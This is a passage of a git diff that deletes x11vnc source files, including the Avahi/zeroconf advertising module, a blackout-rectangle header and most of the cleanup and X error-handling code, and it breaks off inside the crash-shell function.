- if (connect_to == NULL && control != NULL) {
- struct stat sb;
- if (stat(control, &sb) == 0) {
- int len = 100 + sb.st_size;
- FILE *f = fopen(control, "r");
-
- if (f) {
- char *line = (char *) malloc(len);
- connect_to = (char *) calloc(2 * len, 1);
- while (fgets(line, len, f) != NULL) {
- char *q = strchr(line, '\n');
- if (q) *q = '\0';
- q = lblanks(line);
- if (q[0] == '#') {
- continue;
- }
- if (connect_to[0] != '\0') {
- strcat(connect_to, ",");
- }
- strcat(connect_to, q);
- }
- fclose(f);
- }
- fprintf(stderr, "set -connect to: %s\n", connect_to);
- }
- }
- if (0 && connect_to == NULL && control == NULL) {
- exiter("no -connect host or -control file specified.\n", 1);
- }
-
- if (control) {
- pid_t pid;
- parent_pid = getpid();
- pid = fork();
- if (pid == (pid_t) -1) {
- ;
- } else if (pid == 0) {
- be_helper_pid(dpy_str);
- exit(0);
- } else {
- helper_pid = pid;
- }
- }
-
- dpy = XOpenDisplay(dpy_str);
- if (!dpy) {
- exiter("cannot open display\n", 1);
- }
-
- root = DefaultRootWindow(dpy);
-
- xselectinput = SubstructureNotifyMask;
- if (helper_pid > 0) {
- ticker_atom = XInternAtom(dpy, ticker_atom_str, False);
- xselectinput |= PropertyChangeMask;
- }
- XSelectInput(dpy, root, xselectinput);
-
- cmd_atom = XInternAtom(dpy, cmd_atom_str, False);
-
- init_cmask();
-
- sprintf(unique_tag, "X11VNC_APPSHARE_TAG=%d-tag", getpid());
-
- start_time = dnow();
-
- if (app_str == NULL) {
- exiter("no -id/-sid window specified.\n", 1);
- } else {
- char *p, *str = strdup(app_str);
- char *alist[AMAX];
- int i, n = 0;
-
- p = strtok(str, ",");
- while (p) {
- if (n >= AMAX) {
- fprintf(stderr, "ran out of app slots: %s\n", app_str);
- exiter("", 1);
- }
- alist[n++] = strdup(p);
- p = strtok(NULL, ",");
- }
- free(str);
-
- for (i=0; i < n; i++) {
- Window app = None;
- p = alist[i];
- app = parse_win(p);
- free(p);
-
- if (app != None) {
- if (!ours(app)) {
- add_app(app);
- }
- }
- }
- }
-
- set_trackdir();
-
- signal(SIGINT, appshare_cleanup);
- signal(SIGTERM, appshare_cleanup);
-
- rfbLogEnable(0);
-
- if (connect_to) {
- char *p, *str = strdup(connect_to);
- int n = 0;
- p = strtok(str, ",");
- while (p) {
- clients[n++] = strdup(p);
- p = strtok(NULL, ",");
- }
- free(str);
- } else {
- connect_to = strdup("");
- }
-
- for (i=0; i < AMAX; i++) {
- if (apps[i] == None) {
- continue;
- }
- fprintf(stdout, "Using app win: 0x%08lx root: 0x%08lx\n", apps[i], root);
- }
- fprintf(stdout, "\n");
-
- monitor();
-
- appshare_cleanup(0);
-
-#endif
- return 0;
-}
-
diff --git a/x11vnc/avahi.c b/x11vnc/avahi.c
deleted file mode 100644
index 939a34f..0000000
--- a/x11vnc/avahi.c
+++ /dev/null
@@ -1,434 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- avahi.c -- */
-
-#include "x11vnc.h"
-#include "connections.h"
-#include "cleanup.h"
-
-void avahi_initialise(void);
-void avahi_advertise(char *name, char *host, uint16_t port);
-void avahi_reset(void);
-void avahi_cleanup(void);
-
-static pid_t avahi_pid = 0;
-
-static void kill_avahi_pid(void) {
- if (avahi_pid != 0) {
- rfbLog("kill_avahi_pid: %d\n", (int) avahi_pid);
- kill(avahi_pid, SIGTERM);
- avahi_pid = 0;
- }
-}
-
-static int try_avahi_helper(char *name, char *host, uint16_t port) {
-#if LIBVNCSERVER_HAVE_FORK
- char *cmd, *p, *path = getenv("PATH"), portstr[32];
- int i;
-
- if (!name || !host || !port) {}
-
- /* avahi-publish */
- if (no_external_cmds || !cmd_ok("zeroconf")) {
- return 0;
- }
-
- if (!path) {
- return 0;
- }
-
- path = strdup(path);
- cmd = (char *) malloc(strlen(path) + 100);
- sprintf(portstr, "%d", (int) port);
-
- p = strtok(path, ":");
- while (p) {
- struct stat sbuf;
-
- sprintf(cmd, "%s/avahi-publish", p);
- if (stat(cmd, &sbuf) == 0) {
- break;
- }
- sprintf(cmd, "%s/dns-sd", p);
- if (stat(cmd, &sbuf) == 0) {
- break;
- }
- sprintf(cmd, "%s/mDNS", p);
- if (stat(cmd, &sbuf) == 0) {
- break;
- }
- cmd[0] = '\0';
-
- p = strtok(NULL, ":");
- }
- free(path);
-
- if (!strcmp(cmd, "")) {
- free(cmd);
- rfbLog("Could not find an external avahi/zeroconf helper program.\n");
- return 0;
- }
-
- avahi_pid = fork();
-
- if (avahi_pid < 0) {
- rfbLogPerror("fork");
- avahi_pid = 0;
- free(cmd);
- return 0;
- }
-
- if (avahi_pid != 0) {
- int status;
-
- usleep(500 * 1000);
- waitpid(avahi_pid, &status, WNOHANG);
- if (kill(avahi_pid, 0) != 0) {
- waitpid(avahi_pid, &status, WNOHANG);
- avahi_pid = 0;
- free(cmd);
- return 0;
- }
- if (! quiet) {
- rfbLog("%s helper pid is: %d\n", cmd, (int) avahi_pid);
- }
- free(cmd);
- return 1;
- }
-
- for (i=3; i<256; i++) {
- close(i);
- }
-
- if (strstr(cmd, "/avahi-publish")) {
- execlp(cmd, cmd, "-s", name, "_rfb._tcp", portstr, (char *) NULL);
- } else {
- execlp(cmd, cmd, "-R", name, "_rfb._tcp", ".", portstr, (char *) NULL);
- }
- exit(1);
-#else
- if (!name || !host || !port) {}
- return 0;
-#endif
-}
-
-#if !defined(LIBVNCSERVER_HAVE_AVAHI) || !defined(LIBVNCSERVER_HAVE_LIBPTHREAD)
-void avahi_initialise(void) {
- rfbLog("avahi_initialise: no Avahi support at buildtime.\n");
-}
-
-void avahi_advertise(char *name, char *host, uint16_t port) {
- char *t;
- t = getenv("X11VNC_AVAHI_NAME"); if (t) name = t;
- t = getenv("X11VNC_AVAHI_HOST"); if (t) host = t;
- t = getenv("X11VNC_AVAHI_PORT"); if (t) port = atoi(t);
-
- if (!try_avahi_helper(name, host, port)) {
- rfbLog("avahi_advertise: no Avahi support at buildtime.\n");
- avahi = 0;
- }
-}
-
-void avahi_reset(void) {
- kill_avahi_pid();
- rfbLog("avahi_reset: no Avahi support at buildtime.\n");
-}
-
-void avahi_cleanup(void) {
- kill_avahi_pid();
- rfbLog("avahi_cleanup: no Avahi support at buildtime.\n");
-}
-#else
-
-#include <avahi-common/thread-watch.h>
-#include <avahi-common/alternative.h>
-#include <avahi-client/client.h>
-#include <avahi-client/publish.h>
-
-#include <avahi-common/malloc.h>
-#include <avahi-common/error.h>
-
-
-static AvahiThreadedPoll *_poll = NULL;
-static AvahiClient *_client = NULL;
-static AvahiEntryGroup *_group = NULL;
-
-static int db = 0;
-
-typedef struct {
- const char *name;
- const char *host;
- uint16_t port;
-} avahi_service_t;
-
-typedef struct {
- char *name;
- char *host;
- uint16_t port;
-} avahi_reg_t;
-
-#define NREG 16
-static avahi_reg_t registered[NREG];
-
-void avahi_initialise(void) {
- int ret;
- static int first = 1;
-
- if (getenv("AVAHI_DEBUG")) {
- db = 1;
- }
- if (first) {
- int i;
- for (i=0; i<NREG; i++) {
- registered[i].name = NULL;
- registered[i].host = NULL;
- }
- first = 0;
- }
-
-if (db) fprintf(stderr, "in avahi_initialise\n");
- if (_poll) {
-if (db) fprintf(stderr, " avahi_initialise: poll not null\n");
- return;
- }
-
- if (! (_poll = avahi_threaded_poll_new()) ) {
- rfbLog("warning: unable to open Avahi poll.\n");
- return;
- }
-
- _client = avahi_client_new(avahi_threaded_poll_get(_poll),
- 0, NULL, NULL, &ret);
- if (! _client) {
- rfbLog("warning: unable to open Avahi client: %s\n",
- avahi_strerror(ret));
-
- avahi_threaded_poll_free(_poll);
- _poll = NULL;
- return;
- }
-
- if (avahi_threaded_poll_start(_poll) < 0) {
- rfbLog("warning: unable to start Avahi poll.\n");
- avahi_client_free(_client);
- _client = NULL;
- avahi_threaded_poll_free(_poll);
- _poll = NULL;
- return;
- }
-if (db) fprintf(stderr, "out avahi_initialise\n");
-}
-
-static void _avahi_create_services(char *name, char *host,
- uint16_t port);
-
-static void _avahi_entry_group_callback(AvahiEntryGroup *g,
- AvahiEntryGroupState state, void *userdata) {
- char *new_name;
- avahi_service_t *svc = (avahi_service_t *)userdata;
-
-if (db) fprintf(stderr, "in _avahi_entry_group_callback %d 0x%p\n", state, svc);
- if (g != _group && _group != NULL) {
- rfbLog("avahi_entry_group_callback fatal error (group).\n");
- clean_up_exit(1);
- }
- if (userdata == NULL) {
- rfbLog("avahi_entry_group_callback fatal error (userdata).\n");
- clean_up_exit(1);
- }
-
- switch(state) {
- case AVAHI_ENTRY_GROUP_ESTABLISHED:
- rfbLog("Avahi group %s established.\n", svc->name);
-#if 0 /* is this the segv problem? */
- free(svc);
-#endif
- break;
- case AVAHI_ENTRY_GROUP_COLLISION:
- new_name = avahi_alternative_service_name(svc->name);
- _avahi_create_services(new_name, svc->host, svc->port);
- rfbLog("Avahi Entry group collision\n");
- avahi_free(new_name);
- break;
- case AVAHI_ENTRY_GROUP_FAILURE:
- rfbLog("Avahi Entry group failure: %s\n",
- avahi_strerror(avahi_client_errno(
- avahi_entry_group_get_client(g))));
- break;
- default:
- break;
- }
-if (db) fprintf(stderr, "out _avahi_entry_group_callback\n");
-}
-
-static void _avahi_create_services(char *name, char *host, uint16_t port) {
- avahi_service_t *svc = (avahi_service_t *)malloc(sizeof(avahi_service_t));
- int ret = 0;
-
-if (db) fprintf(stderr, "in _avahi_create_services '%s' '%s' %d\n", name, host, port);
- svc->name = name;
- svc->host = host;
- svc->port = port;
-
- if (!_group) {
-if (db) fprintf(stderr, " _avahi_create_services create group\n");
- _group = avahi_entry_group_new(_client,
- _avahi_entry_group_callback, svc);
- }
- if (!_group) {
- rfbLog("avahi_entry_group_new() failed: %s\n",
- avahi_strerror(avahi_client_errno(_client)));
- return;
- }
-
- ret = avahi_entry_group_add_service(_group, AVAHI_IF_UNSPEC,
- AVAHI_PROTO_UNSPEC, 0, name, "_rfb._tcp", NULL, NULL, port, NULL);
- if (ret < 0) {
- rfbLog("Failed to add _rfb._tcp service: %s\n",
- avahi_strerror(ret));
- return;
- }
-
- ret = avahi_entry_group_commit(_group);
- if (ret < 0) {
- rfbLog("Failed to commit entry_group:: %s\n",
- avahi_strerror(ret));
- return;
- }
-if (db) fprintf(stderr, "out _avahi_create_services\n");
-}
-
-void avahi_advertise(char *name, char *host, uint16_t port) {
- int i;
- char *t;
- t = getenv("X11VNC_AVAHI_NAME"); if (t) name = t;
- t = getenv("X11VNC_AVAHI_HOST"); if (t) host = t;
- t = getenv("X11VNC_AVAHI_PORT"); if (t) port = atoi(t);
-
-if (db) fprintf(stderr, "in avahi_advertise: '%s' '%s' %d\n", name, host, port);
- if (!_client) {
-if (db) fprintf(stderr, " avahi_advertise client null\n");
- return;
- }
- if (_poll == NULL) {
- rfbLog("Avahi poll not initialized.\n");
- return;
- }
- /* well, we just track it ourselves... */
- for (i=0; i<NREG; i++) {
- if (!registered[i].name) {
- continue;
- }
- if (strcmp(registered[i].name, name)) {
- continue;
- }
- if (strcmp(registered[i].host, host)) {
- continue;
- }
- if (registered[i].port != port) {
- continue;
- }
-if (db) fprintf(stderr, " avahi_advertise already did this one\n");
- return;
- }
- for (i=0; i<NREG; i++) {
- if (!registered[i].name) {
- registered[i].name = strdup(name);
- registered[i].host = strdup(host);
- registered[i].port = port;
- break;
- }
- }
-
- avahi_threaded_poll_lock(_poll);
- _avahi_create_services(name, host, port >= 5900 ? port : 5900+port);
- avahi_threaded_poll_unlock(_poll);
-if (db) fprintf(stderr, "out avahi_advertise\n");
-}
-
-void avahi_reset(void) {
- int i;
-if (db) fprintf(stderr, "in avahi_reset\n");
- for (i=0; i<NREG; i++) {
- if (registered[i].name) {
- free(registered[i].name);
- registered[i].name = NULL;
- }
- if (registered[i].host) {
- free(registered[i].host);
- registered[i].host = NULL;
- }
- }
- if (!_client || !_group) {
-if (db) fprintf(stderr, " avahi_reset client/group null\n");
- return;
- }
- avahi_entry_group_reset(_group);
- rfbLog("Avahi resetting group.\n");
-if (db) fprintf(stderr, "out avahi_reset\n");
-}
-
-static void avahi_timeout (int sig) {
- rfbLog("sig: %d, avahi_cleanup timed out.\n", sig);
- exit(1);
-}
-
-
-void avahi_cleanup(void) {
-if (db) fprintf(stderr, "in avahi_cleanup\n");
- if (!_client) {
-if (db) fprintf(stderr, " avahi_cleanup client null\n");
- return;
- }
-if (db) fprintf(stderr, " avahi_cleanup poll_lock\n");
- avahi_threaded_poll_lock(_poll);
-if (db) fprintf(stderr, " avahi_cleanup poll_stop\n");
-
- signal(SIGALRM, avahi_timeout);
- alarm(3);
- avahi_threaded_poll_stop(_poll);
- alarm(0);
- signal(SIGALRM, SIG_DFL);
-
-if (db) fprintf(stderr, " avahi_cleanup client_free\n");
- avahi_client_free(_client);
- _client = NULL;
-
-if (db) fprintf(stderr, " avahi_cleanup poll_free\n");
- avahi_threaded_poll_free(_poll);
- _poll = NULL;
-if (db) fprintf(stderr, "out avahi_cleanup\n");
-}
-
-#endif
-
diff --git a/x11vnc/avahi.h b/x11vnc/avahi.h
deleted file mode 100644
index 7b7a6bc..0000000
--- a/x11vnc/avahi.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_AVAHI_H
-#define _X11VNC_AVAHI_H
-
-/* -- avahi.h -- */
-
-extern void avahi_initialise(void);
-extern void avahi_advertise(char *name, char *host, uint16_t port);
-extern void avahi_reset(void);
-extern void avahi_cleanup(void);
-
-#endif /* _X11VNC_AVAHI_H */
diff --git a/x11vnc/blackout_t.h b/x11vnc/blackout_t.h
deleted file mode 100644
index 014f5b4..0000000
--- a/x11vnc/blackout_t.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_BLACKOUT_T_H
-#define _X11VNC_BLACKOUT_T_H
-
-/* -- blackout_t.h -- */
-
-typedef struct bout {
- int x1, y1, x2, y2;
-} blackout_t;
-
-#define BO_MAX 32
-typedef struct tbout {
- blackout_t bo[BO_MAX]; /* hardwired max rectangles. */
- int cover;
- int count;
-} tile_blackout_t;
-
-#endif /* _X11VNC_BLACKOUT_T_H */
diff --git a/x11vnc/cleanup.c b/x11vnc/cleanup.c
deleted file mode 100644
index 60db819..0000000
--- a/x11vnc/cleanup.c
+++ /dev/null
@@ -1,769 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- cleanup.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "xdamage.h"
-#include "remote.h"
-#include "keyboard.h"
-#include "scan.h"
-#include "gui.h"
-#include "solid.h"
-#include "unixpw.h"
-#include "sslcmds.h"
-#include "sslhelper.h"
-#include "connections.h"
-#include "macosx.h"
-#include "macosxCG.h"
-#include "avahi.h"
-#include "screen.h"
-#include "xrecord.h"
-#include "xevents.h"
-#include "uinput.h"
-
-/*
- * Exiting and error handling routines
- */
-
-int trapped_xerror = 0;
-int trapped_xioerror = 0;
-int trapped_getimage_xerror = 0;
-int trapped_record_xerror = 0;
-XErrorEvent *trapped_xerror_event;
-
-/* XXX CHECK BEFORE RELEASE */
-int crash_debug = 0;
-
-void clean_shm(int quick);
-void clean_up_exit(int ret);
-int trap_xerror(Display *d, XErrorEvent *error);
-int trap_xioerror(Display *d);
-int trap_getimage_xerror(Display *d, XErrorEvent *error);
-char *xerror_string(XErrorEvent *error);
-void initialize_crash_handler(void);
-void initialize_signals(void);
-void unset_signals(void);
-void close_exec_fds(void);
-int known_sigpipe_mode(char *s);
-
-
-static int exit_flag = 0;
-static int exit_sig = 0;
-
-static void clean_icon_mode(void);
-static int Xerror(Display *d, XErrorEvent *error);
-static int XIOerr(Display *d);
-static void crash_shell_help(void);
-static void crash_shell(void);
-static void interrupted (int sig);
-
-
-void clean_shm(int quick) {
- int i, cnt = 0;
-
- /*
- * to avoid deadlock, etc, under quick=1 we just delete the shm
- * areas and leave the X stuff hanging.
- */
- if (quick) {
- shm_delete(&scanline_shm);
- shm_delete(&fullscreen_shm);
- shm_delete(&snaprect_shm);
- } else {
- shm_clean(&scanline_shm, scanline);
- shm_clean(&fullscreen_shm, fullscreen);
- shm_clean(&snaprect_shm, snaprect);
- }
-
- /*
- * Here we have to clean up quite a few shm areas for all
- * the possible tile row runs (40 for 1280), not as robust
- * as one might like... sometimes need to run ipcrm(1).
- */
- for(i=1; i<=ntiles_x; i++) {
- if (i > tile_shm_count) {
- break;
- }
- if (quick) {
- shm_delete(&tile_row_shm[i]);
- } else {
- shm_clean(&tile_row_shm[i], tile_row[i]);
- }
- cnt++;
- if (single_copytile_count && i >= single_copytile_count) {
- break;
- }
- }
- if (!quiet && cnt > 0) {
- rfbLog("deleted %d tile_row polling images.\n", cnt);
- }
-}
-
-static void clean_icon_mode(void) {
- if (icon_mode && icon_mode_fh) {
- fprintf(icon_mode_fh, "quit\n");
- fflush(icon_mode_fh);
- fclose(icon_mode_fh);
- icon_mode_fh = NULL;
- if (icon_mode_file) {
- unlink(icon_mode_file);
- icon_mode_file = NULL;
- }
- }
-}
-
-/*
- * Normal exiting
- */
-void clean_up_exit(int ret) {
- static int depth = 0;
- exit_flag = 1;
-
- if (depth++ > 2) {
- exit(ret);
- }
-
- if (icon_mode) {
- clean_icon_mode();
- }
-
- /* remove the shm areas: */
- clean_shm(0);
-
- stop_stunnel();
- if (use_openssl) {
- ssl_helper_pid(0, 0); /* killall */
- }
-
- if (ssh_pid > 0) {
- kill(ssh_pid, SIGTERM);
- ssh_pid = 0;
- }
-
-#ifdef MACOSX
- if (client_connect_file) {
- if (strstr(client_connect_file, "/tmp/x11vnc-macosx-remote")
- == client_connect_file) {
- unlink(client_connect_file);
- }
- }
- if (macosx_console) {
- macosxCG_fini();
- }
-#endif
-
- if (pipeinput_fh != NULL) {
- pclose(pipeinput_fh);
- pipeinput_fh = NULL;
- }
-
- shutdown_uinput();
-
- if (unix_sock) {
- if (unix_sock_fd >= 0) {
- rfbLog("deleting unix sock: %s\n", unix_sock);
- close(unix_sock_fd);
- unix_sock_fd = -1;
- unlink(unix_sock);
- }
- }
-
- if (! dpy) { /* raw_rb hack */
- if (rm_flagfile) {
- unlink(rm_flagfile);
- rm_flagfile = NULL;
- }
- exit(ret);
- }
-
- /* X keyboard cleanups */
- delete_added_keycodes(0);
-
- if (clear_mods == 1) {
- clear_modifiers(0);
- } else if (clear_mods == 2) {
- clear_keys();
- } else if (clear_mods == 3) {
- clear_keys();
- clear_locks();
- }
-
- if (no_autorepeat) {
- autorepeat(1, 0);
- }
- if (use_solid_bg) {
- solid_bg(1);
- }
- if (ncache || ncache0) {
- kde_no_animate(1);
- }
- X_LOCK;
- XTestDiscard_wr(dpy);
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- if (xdamage) {
- XDamageDestroy(dpy, xdamage);
- }
-#endif
-#if LIBVNCSERVER_HAVE_LIBXTRAP
- if (trap_ctx) {
- XEFreeTC(trap_ctx);
- }
-#endif
- /* XXX rdpy_ctrl, etc. cannot close w/o blocking */
- XCloseDisplay_wr(dpy);
- X_UNLOCK;
-
- fflush(stderr);
-
- if (rm_flagfile) {
- unlink(rm_flagfile);
- rm_flagfile = NULL;
- }
-
- if (avahi) {
- avahi_cleanup();
- fflush(stderr);
- }
-
- exit(ret);
-}
-
-/* X11 error handlers */
-
-static XErrorHandler Xerror_def;
-static XIOErrorHandler XIOerr_def;
-
-int trap_xerror(Display *d, XErrorEvent *error) {
- trapped_xerror = 1;
- trapped_xerror_event = error;
-
- if (d) {} /* unused vars warning: */
-
- return 0;
-}
-
-int trap_xioerror(Display *d) {
- trapped_xioerror = 1;
-
- if (d) {} /* unused vars warning: */
-
- return 0;
-}
-
-int trap_getimage_xerror(Display *d, XErrorEvent *error) {
- trapped_getimage_xerror = 1;
- trapped_xerror_event = error;
-
- if (d) {} /* unused vars warning: */
-
- return 0;
-}
-
-/* Are silly Xorg people removing X_ShmAttach from XShm.h? */
-/* INDEED! What stupid, myopic morons... */
-/* Maintenance Monkeys busy typing at their keyboards... */
-#ifndef X_ShmAttach
-#define X_ShmAttach 1
-#endif
-
-static int Xerror(Display *d, XErrorEvent *error) {
- X_UNLOCK;
-
- if (getenv("X11VNC_PRINT_XERROR")) {
- fprintf(stderr, "Xerror: major_opcode: %d minor_opcode: %d error_code: %d\n",
- error->request_code, error->minor_code, error->error_code);
- }
-
- if (xshm_opcode > 0 && error->request_code == xshm_opcode) {
- if (error->minor_code == X_ShmAttach) {
- char *dstr = DisplayString(dpy);
- fprintf(stderr, "\nX11 MIT Shared Memory Attach failed:\n");
- fprintf(stderr, " Is your DISPLAY=%s on a remote machine?\n", dstr);
- if (strstr(dstr, "localhost:")) {
- fprintf(stderr, " Note: DISPLAY=localhost:N suggests a SSH X11 redir to a remote machine.\n");
- } else if (dstr[0] != ':') {
- fprintf(stderr, " Note: DISPLAY=hostname:N suggests a remote display.\n");
- }
- fprintf(stderr, " Suggestion, use: x11vnc -display :0 ... for local display :0\n\n");
- }
- }
-
- interrupted(0);
-
- if (d) {} /* unused vars warning: */
-
- return (*Xerror_def)(d, error);
-}
-
-void watch_loop(void);
-
-static int XIOerr(Display *d) {
- static int reopen = 0, rmax = 1;
- X_UNLOCK;
-
- if (getenv("X11VNC_REOPEN_DISPLAY")) {
- rmax = atoi(getenv("X11VNC_REOPEN_DISPLAY"));
- }
-
-#if !NO_X11
- if (reopen < rmax && getenv("X11VNC_REOPEN_DISPLAY")) {
- int db = getenv("X11VNC_REOPEN_DEBUG") ? 1 : 0;
- int sleepmax = 10, i;
- Display *save_dpy = dpy;
- char *dstr = strdup(DisplayString(save_dpy));
- reopen++;
- if (getenv("X11VNC_REOPEN_SLEEP_MAX")) {
- sleepmax = atoi(getenv("X11VNC_REOPEN_SLEEP_MAX"));
- }
- rfbLog("*** XIO error: Trying to reopen[%d/%d] display '%s'\n", reopen, rmax, dstr);
- rfbLog("*** XIO error: Note the reopened state may be unstable.\n");
- for (i=0; i < sleepmax; i++) {
- usleep (1000 * 1000);
- dpy = XOpenDisplay_wr(dstr);
- rfbLog("dpy[%d/%d]: %p\n", i+1, sleepmax, dpy);
- if (dpy) {
- break;
- }
- }
- last_open_xdisplay = time(NULL);
- if (dpy) {
- rfbLog("*** XIO error: Reopened display '%s' successfully.\n", dstr);
- if (db) rfbLog("*** XIO error: '%s' 0x%x\n", dstr, dpy);
- scr = DefaultScreen(dpy);
- rootwin = RootWindow(dpy, scr);
- if (db) rfbLog("*** XIO error: disable_grabserver\n");
- disable_grabserver(dpy, 0);
- if (db) rfbLog("*** XIO error: xrecord\n");
- zerodisp_xrecord();
- initialize_xrecord();
- if (db) rfbLog("*** XIO error: xdamage\n");
- create_xdamage_if_needed(1);
- if (db) rfbLog("*** XIO error: do_new_fb\n");
- if (using_shm) {
- if (db) rfbLog("*** XIO error: clean_shm\n");
- clean_shm(1);
- }
- do_new_fb(1);
- if (db) rfbLog("*** XIO error: check_xevents\n");
- check_xevents(1);
-
- /* sadly, we can never return... */
- if (db) rfbLog("*** XIO error: watch_loop\n");
- watch_loop();
- clean_up_exit(1);
- }
- }
-#endif
-
- interrupted(-1);
-
- if (d) {} /* unused vars warning: */
-
- return (*XIOerr_def)(d);
-}
-
-static char *xerrors[] = {
- "Success",
- "BadRequest",
- "BadValue",
- "BadWindow",
- "BadPixmap",
- "BadAtom",
- "BadCursor",
- "BadFont",
- "BadMatch",
- "BadDrawable",
- "BadAccess",
- "BadAlloc",
- "BadColor",
- "BadGC",
- "BadIDChoice",
- "BadName",
- "BadLength",
- "BadImplementation",
- "unknown"
-};
-static int xerrors_max = BadImplementation;
-
-char *xerror_string(XErrorEvent *error) {
- int index = -1;
- if (error) {
- index = (int) error->error_code;
- }
- if (0 <= index && index <= xerrors_max) {
- return xerrors[index];
- } else {
- return xerrors[xerrors_max+1];
- }
-}
-
-static char *crash_stack_command1 = NULL;
-static char *crash_stack_command2 = NULL;
-static char *crash_debug_command = NULL;
-
-void initialize_crash_handler(void) {
- int pid = program_pid;
- crash_stack_command1 = (char *) malloc(1000);
- crash_stack_command2 = (char *) malloc(1000);
- crash_debug_command = (char *) malloc(1000);
-
- snprintf(crash_stack_command1, 500, "echo where > /tmp/gdb.%d;"
- " env PATH=$PATH:/usr/local/bin:/usr/sfw/bin:/usr/bin"
- " gdb -x /tmp/gdb.%d -batch -n %s %d;"
- " rm -f /tmp/gdb.%d", pid, pid, program_name, pid, pid);
- snprintf(crash_stack_command2, 500, "pstack %d", program_pid);
-
- snprintf(crash_debug_command, 500, "gdb %s %d", program_name, pid);
-}
-
-static void crash_shell_help(void) {
- int pid = program_pid;
- fprintf(stderr, "\n");
- fprintf(stderr, " *** Welcome to the x11vnc crash shell! ***\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "PROGRAM: %s PID: %d\n", program_name, pid);
- fprintf(stderr, "\n");
- fprintf(stderr, "POSSIBLE DEBUGGER COMMAND:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " %s\n", crash_debug_command);
- fprintf(stderr, "\n");
- fprintf(stderr, "Press \"q\" to quit.\n");
- fprintf(stderr, "Press \"h\" or \"?\" for this help.\n");
- fprintf(stderr, "Press \"s\" to try to run some commands to"
- " show a stack trace (gdb/pstack).\n");
- fprintf(stderr, "\n");
- fprintf(stderr, "Anything else is passed to -Q query function.\n");
- fprintf(stderr, "\n");
-}
-
-static void crash_shell(void) {
- char qry[1000], cmd[1000], line[1000];
- char *str, *p;
-
- crash_shell_help();
- fprintf(stderr, "\ncrash> ");
- while (fgets(line, 1000, stdin) != NULL) {
